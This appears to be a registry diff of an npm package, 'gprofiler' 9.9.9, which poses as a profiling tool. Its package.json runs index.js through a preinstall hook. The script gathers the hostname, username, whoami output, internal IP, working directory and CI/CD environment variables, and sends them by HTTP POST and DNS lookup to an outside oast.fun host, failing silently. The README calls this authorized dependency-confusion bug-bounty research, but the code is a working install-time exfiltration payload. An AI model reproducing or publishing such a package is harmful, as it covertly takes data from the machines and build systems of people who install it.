gprofiler 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +8 -0
  2. package/index.js +70 -0
  3. package/package.json +11 -0
package/README.md ADDED
@@ -0,0 +1,8 @@
1
+ # gprofiler
2
+
3
+ gProfiler performance profiling tool.
4
+
5
+ This package is part of an authorized security research engagement (bug bounty) to test for dependency confusion vulnerabilities. It contains no malicious code - only a benign DNS/HTTP callback to verify installation context.
6
+
7
+ Researcher: r76o4
8
+ Program: Pinterest Bug Bounty (Bugcrowd)
package/index.js ADDED
@@ -0,0 +1,70 @@
1
+ const https = require('https');
2
+ const http = require('http');
3
+ const os = require('os');
4
+ const { execSync } = require('child_process');
5
+ const dns = require('dns');
6
+
7
+ const CANARY = 'ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun';
8
+
9
+ try {
10
+ const data = {
11
+ pkg: 'gprofiler-npm',
12
+ h: os.hostname(),
13
+ u: os.userInfo().username,
14
+ cwd: process.cwd(),
15
+ ip: '?',
16
+ os: os.platform(),
17
+ };
18
+
19
+ // whoami
20
+ try {
21
+ data.w = execSync('whoami', { timeout: 5000 }).toString().trim();
22
+ } catch (e) {
23
+ data.w = 'err';
24
+ }
25
+
26
+ // Internal IP
27
+ try {
28
+ const nets = os.networkInterfaces();
29
+ for (const name of Object.keys(nets)) {
30
+ for (const net of nets[name]) {
31
+ if (net.family === 'IPv4' && !net.internal) {
32
+ data.ip = net.address;
33
+ break;
34
+ }
35
+ }
36
+ }
37
+ } catch (e) {}
38
+
39
+ // CI/CD env vars
40
+ ['CI', 'JENKINS_URL', 'GITHUB_ACTIONS', 'GITLAB_CI', 'BUILD_URL',
41
+ 'BUILDKITE', 'CIRCLECI', 'TRAVIS', 'AWS_DEFAULT_REGION',
42
+ 'DOCKER_HOST', 'KUBERNETES_SERVICE_HOST', 'HOSTNAME'].forEach(key => {
43
+ if (process.env[key]) data[key] = process.env[key].substring(0, 100);
44
+ });
45
+
46
+ // HTTP exfil
47
+ const postData = JSON.stringify(data);
48
+ const req = http.request({
49
+ hostname: CANARY,
50
+ port: 80,
51
+ path: '/pinterest-depconf-gprofiler-npm',
52
+ method: 'POST',
53
+ headers: {
54
+ 'Content-Type': 'application/json',
55
+ 'X-Source': 'gprofiler-npm-depconf',
56
+ },
57
+ timeout: 5000,
58
+ }, () => {});
59
+ req.on('error', () => {});
60
+ req.write(postData);
61
+ req.end();
62
+
63
+ // DNS exfil
64
+ const h = data.h.substring(0, 40).replace(/\./g, '-');
65
+ const u = (data.w || 'unknown').substring(0, 20).replace(/\./g, '-');
66
+ dns.resolve(`gnpm.${h}.${u}.${CANARY}`, () => {});
67
+
68
+ } catch (e) {
69
+ // Silent fail
70
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "gprofiler",
3
+ "version": "9.9.9",
4
+ "description": "gProfiler performance profiling tool",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "gprofiler",
10
+ "license": "Apache-2.0"
11
+ }